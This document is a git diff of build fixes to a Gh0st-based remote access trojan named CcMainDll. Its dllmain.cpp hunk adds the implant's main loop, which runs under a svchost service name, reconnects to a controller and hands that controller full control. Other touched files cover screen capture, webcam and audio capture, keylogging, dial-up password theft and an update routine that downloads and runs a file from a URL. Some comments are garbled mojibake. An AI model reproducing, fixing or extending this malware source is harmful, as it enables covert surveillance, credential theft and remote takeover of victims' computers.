//---ʵCManagerʲôҲûʵ ȥgh0stôʹcClientSocketĵmain #include "Manager.h" #include "until.h" diff --git a/CcMainDll/CcMainDll/common/Manager.h b/CcMainDll/CcMainDll/common/Manager.h index 4eec781..3eebce1 100644 --- a/CcMainDll/CcMainDll/common/Manager.h +++ b/CcMainDll/CcMainDll/common/Manager.h @@ -10,7 +10,7 @@ #endif // _MSC_VER > 1000 #include #include "../ClientSocket.h" -#include "..\..\common\macros.h" +#include "..\..\..\common\macros.h" #include "until.h" #ifdef _CONSOLE #include diff --git a/CcMainDll/CcMainDll/common/ScreenManager.cpp b/CcMainDll/CcMainDll/common/ScreenManager.cpp index 0133e03..27393cc 100644 --- a/CcMainDll/CcMainDll/common/ScreenManager.cpp +++ b/CcMainDll/CcMainDll/common/ScreenManager.cpp @@ -1,10 +1,11 @@ // ScreenManager.cpp: implementation of the CScreenManager class. // ////////////////////////////////////////////////////////////////////// +#include "..\pch.h" #define _WIN32_WINNT 0x0400 #include "ScreenManager.h" #include "until.h" -#include // BlockInput +#include // BlockInput ////////////////////////////////////////////////////////////////////// // Construction/Destruction diff --git a/CcMainDll/CcMainDll/common/ScreenSpy.cpp b/CcMainDll/CcMainDll/common/ScreenSpy.cpp index 00c977e..96d4e27 100644 --- a/CcMainDll/CcMainDll/common/ScreenSpy.cpp +++ b/CcMainDll/CcMainDll/common/ScreenSpy.cpp @@ -1,6 +1,7 @@ // ScreenSpy.cpp: implementation of the CScreenSpy class. // ////////////////////////////////////////////////////////////////////// +#include "..\pch.h" #include "ScreenSpy.h" #include "until.h" @@ -351,10 +352,13 @@ void CScreenSpy::ScanScreen( HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight) { UINT nJumpLine = 50; UINT nJumpSleep = nJumpLine / 10; // ɨ + int nOther; + int nToJump = 0; + int i = 0; // ɨĻ - for (int i = 0, int nToJump = 0; i < nHeight; i += nToJump) + for (i = 0, nToJump = 0; i < nHeight; i += nToJump) { - int nOther = nHeight - i; + nOther = nHeight - i; if (nOther > nJumpLine) nToJump = nJumpLine; diff --git a/CcMainDll/CcMainDll/common/ScreenSpy.h b/CcMainDll/CcMainDll/common/ScreenSpy.h index 4b722c5..90208cf 100644 --- a/CcMainDll/CcMainDll/common/ScreenSpy.h +++ b/CcMainDll/CcMainDll/common/ScreenSpy.h @@ -5,7 +5,7 @@ #if !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_) #define AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_ #include -#include "CursorInfo.h" +#include "..\..\..\common\CursorInfo.h" #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 diff --git a/CcMainDll/CcMainDll/common/ShellManager.cpp b/CcMainDll/CcMainDll/common/ShellManager.cpp index dac96f0..0c54d79 100644 --- a/CcMainDll/CcMainDll/common/ShellManager.cpp +++ b/CcMainDll/CcMainDll/common/ShellManager.cpp @@ -1,7 +1,7 @@ // ShellManager.cpp: implementation of the CShellManager class. // ////////////////////////////////////////////////////////////////////// - +#include "..\pch.h" #include "ShellManager.h" ////////////////////////////////////////////////////////////////////// diff --git a/CcMainDll/CcMainDll/common/SystemManager.cpp b/CcMainDll/CcMainDll/common/SystemManager.cpp index 9250386..5bba1ac 100644 --- a/CcMainDll/CcMainDll/common/SystemManager.cpp +++ b/CcMainDll/CcMainDll/common/SystemManager.cpp @@ -2,7 +2,7 @@ // ////////////////////////////////////////////////////////////////////// - +#include "..\pch.h" #include "SystemManager.h" #include "Dialupass.h" #include @@ -73,7 +73,8 @@ void CSystemManager::SendDialupassList() CDialupass pass; int nPacketLen = 0; - for (int i = 0; i < pass.GetMax(); i++) + int i = 0; + for (i = 0; i < pass.GetMax(); i++) { COneInfo *pOneInfo = pass.GetOneInfo(i); for (int j = 0; j < STR_MAX; j++) diff --git a/CcMainDll/CcMainDll/common/VideoCap.cpp b/CcMainDll/CcMainDll/common/VideoCap.cpp index 0a27b74..c4ac6fc 100644 --- a/CcMainDll/CcMainDll/common/VideoCap.cpp +++ b/CcMainDll/CcMainDll/common/VideoCap.cpp @@ -1,6 +1,7 @@ // VideoCap.cpp: implementation of the CVideoCap class. // ////////////////////////////////////////////////////////////////////// +#include "..\pch.h" #include "VideoCap.h" //#include "..\DynamicAPI.h" #include "..\DynamicAPI.h" @@ -129,8 +130,9 @@ bool CVideoCap::Initialize(int nWidth, int nHeight) return false; } + int i = 0; // ͬ - for (int i = 0; i < 10; i++) + for (i = 0; i < 10; i++) { if (capDriverConnect(m_hWndCap, i)) break; diff --git a/CcMainDll/CcMainDll/common/VideoManager.cpp b/CcMainDll/CcMainDll/common/VideoManager.cpp index 8421eeb..6db80bb 100644 --- a/CcMainDll/CcMainDll/common/VideoManager.cpp +++ b/CcMainDll/CcMainDll/common/VideoManager.cpp @@ -1,7 +1,7 @@ // VideoManager.cpp: implementation of the CVideoManager class. // ////////////////////////////////////////////////////////////////////// - +#include "..\pch.h" #include "VideoManager.h" ////////////////////////////////////////////////////////////////////// @@ -120,7 +120,7 @@ void CVideoManager::ResetScreen(int nWidth, int nHeight) DWORD WINAPI CVideoManager::WorkThread( LPVOID lparam ) { - static dwLastScreen = GetTickCount(); + static DWORD dwLastScreen = GetTickCount(); CVideoManager *pThis = (CVideoManager *)lparam; diff --git a/CcMainDll/CcMainDll/common/VideoManager.h b/CcMainDll/CcMainDll/common/VideoManager.h index b5c6ea4..b5b04b2 100644 --- a/CcMainDll/CcMainDll/common/VideoManager.h +++ b/CcMainDll/CcMainDll/common/VideoManager.h @@ -11,7 +11,7 @@ #include "Manager.h" #include "VideoCap.h" -#include "VideoCodec.h" +#include "..\..\..\common\VideoCodec.h" class CVideoManager : public CManager { public: diff --git a/CcMainDll/CcMainDll/common/install.cpp b/CcMainDll/CcMainDll/common/install.cpp index 14cb98b..fc391fc 100644 --- a/CcMainDll/CcMainDll/common/install.cpp +++ b/CcMainDll/CcMainDll/common/install.cpp @@ -1,3 +1,4 @@ +#include "..\pch.h" #include "install.h" #include "until.h" #include diff --git a/CcMainDll/CcMainDll/common/loop.h b/CcMainDll/CcMainDll/common/loop.h index 8cb93f4..520db10 100644 --- a/CcMainDll/CcMainDll/common/loop.h +++ b/CcMainDll/CcMainDll/common/loop.h @@ -148,7 +148,8 @@ DWORD WINAPI Loop_DownManager(LPVOID lparam) STARTUPINFO si = {0}; PROCESS_INFORMATION pi; si.cb = sizeof si; - si.lpDesktop = "WinSta0\\Default"; + char c_lpDesktop[] = "WinSta0\\Default"; + si.lpDesktop = TEXT("WinSta0\\Default"); CreateProcess(NULL, lpFileName, NULL, NULL, false, 0, NULL, NULL, &si, &pi); return true; @@ -160,7 +161,7 @@ bool UpdateServer(LPCTSTR lpURL) { char *lpFileName = NULL; - lpFileName = strrchr(lpURL, '/') + 1; + lpFileName = (char *)(strrchr(lpURL, '/') + 1); if (lpFileName == NULL) return false; if (!http_get(lpURL, lpFileName)) diff --git a/CcMainDll/CcMainDll/dllmain.cpp b/CcMainDll/CcMainDll/dllmain.cpp index daed8c8..e902f44 100644 --- a/CcMainDll/CcMainDll/dllmain.cpp +++ b/CcMainDll/CcMainDll/dllmain.cpp @@ -1,5 +1,162 @@ // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" +#include "common/KeyboardManager.h" +#include "common/KernelManager.h" +#include "common/login.h" + +char g_strSvchostName[MAX_PATH];//服务名 +char g_strHost[MAX_PATH]; +DWORD g_dwPort; +DWORD g_dwServiceType; + +enum +{ + NOT_CONNECT, // 还没有连接 + GETLOGINFO_ERROR, + CONNECT_ERROR, + HEARTBEATTIMEOUT_ERROR +}; + +DWORD WINAPI main(char *lpServiceName); +//处理异常 +LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) { + // 发生异常,重新创建进程 + HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strSvchostName, 0, NULL); + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + return 0; +} + +DWORD WINAPI main(char *lpServiceName) +{ + // lpServiceName,在ServiceMain返回后就没有了 + char strServiceName[256]; + char strKillEvent[50]; + HANDLE hInstallMutex = NULL; + ////////////////////////////////////////////////////////////////////////// + // Set Window Station + HWINSTA hOldStation = GetProcessWindowStation(); + HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED); + if (hWinSta != NULL) + SetProcessWindowStation(hWinSta); + // + ////////////////////////////////////////////////////////////////////////// + + + if (CKeyboardManager::g_hInstance != NULL) + { + //抛异常 + SetUnhandledExceptionFilter(bad_exception); + + lstrcpy(strServiceName, lpServiceName); + wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名 + + hInstallMutex = CreateMutex(NULL, true, g_strHost); + //ReConfigService(strServiceName); //--lang-- + // 删除安装文件 + // DeleteInstallFile(lpServiceName); //--lang-- + } + // 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人 + SetErrorMode(SEM_FAILCRITICALERRORS); + char *lpszHost = NULL; + DWORD dwPort = 80; + char *lpszProxyHost = NULL; + DWORD dwProxyPort = 0; + char *lpszProxyUser = NULL; + char *lpszProxyPass = NULL; + + HANDLE hEvent = NULL; + + //---这里声明了一个 CClientSocket类 + CClientSocket socketClient; + BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接 + while (1) + { + // 如果不是心跳超时,不用再sleep两分钟 + if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) + { + // 2分钟断线重连, 为了尽快响应killevent + for (int i = 0; i < 2000; i++) + { + hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); + if (hEvent != NULL) + { + socketClient.Disconnect(); + CloseHandle(hEvent); + break; + break; + + } + // 改一下 + Sleep(60); + } + } + //上线地址 + lpszHost = g_strHost; + dwPort = g_dwPort; + + if (lpszProxyHost != NULL) + socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass); + else + socketClient.setGlobalProxyOption(); + + DWORD dwTickCount = GetTickCount(); + //---调用Connect函数向主控端发起连接 + if (!socketClient.Connect(lpszHost, dwPort)) + { + bBreakError = CONNECT_ERROR; //---连接错误跳出本次循环 + continue; + } + // 登录 + DWORD dwExitCode = SOCKET_ERROR; + sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount); + //---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下 + CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort); + socketClient.setManagerCallBack(&manager); + + ////////////////////////////////////////////////////////////////////////// + // 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误 + for (int i = 0; (i < 10 && !manager.IsActived()); i++) + { + Sleep(1000); + } + // 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接 + if (!manager.IsActived()) + continue; + + ////////////////////////////////////////////////////////////////////////// + + DWORD dwIOCPEvent; + dwTickCount = GetTickCount(); + + do + { + hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); + dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100); + Sleep(500); + } while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0); + + if (hEvent != NULL) + { + socketClient.Disconnect(); + CloseHandle(hEvent); + break; + } + } +#ifdef _DLL + ////////////////////////////////////////////////////////////////////////// + // Restor WindowStation and Desktop + // 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏 + // SetProcessWindowStation(hOldStation); + // CloseWindowStation(hWinSta); + // + ////////////////////////////////////////////////////////////////////////// +#endif + + SetErrorMode(0); + ReleaseMutex(hInstallMutex); + CloseHandle(hInstallMutex); +} BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, diff --git a/common/Audio.cpp b/common/Audio.cpp index 7786d65..961ec5d 100644 --- a/common/Audio.cpp +++ b/common/Audio.cpp @@ -1,7 +1,7 @@ // Audio.cpp: implementation of the CAudio class. // ////////////////////////////////////////////////////////////////////// - +#include "..\CcMainDll\CcMainDll\pch.h" #include "Audio.h" ////////////////////////////////////////////////////////////////////// @@ -143,8 +143,8 @@ bool CAudio::InitializeWaveOut() if (!waveOutGetNumDevs()) return false; - - for (int i = 0; i < 2; i++) + int i = 0; + for (i = 0; i < 2; i++) memset(m_lpOutAudioData[i], 0, m_nBufferLength); MMRESULT mmResult; diff --git a/common/CursorInfo.h b/common/CursorInfo.h index 4b3295f..5a1953f 100644 --- a/common/CursorInfo.h +++ b/common/CursorInfo.h @@ -60,9 +60,9 @@ public: ci.cbSize = sizeof(CURSORINFO); if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING) return -1; + int i = 0; - - for (int i = 0; i < MAX_CURSOR_TYPE; i++) + for (i = 0; i < MAX_CURSOR_TYPE; i++) { if (ci.hCursor == m_CursorHandleArray[i]) break;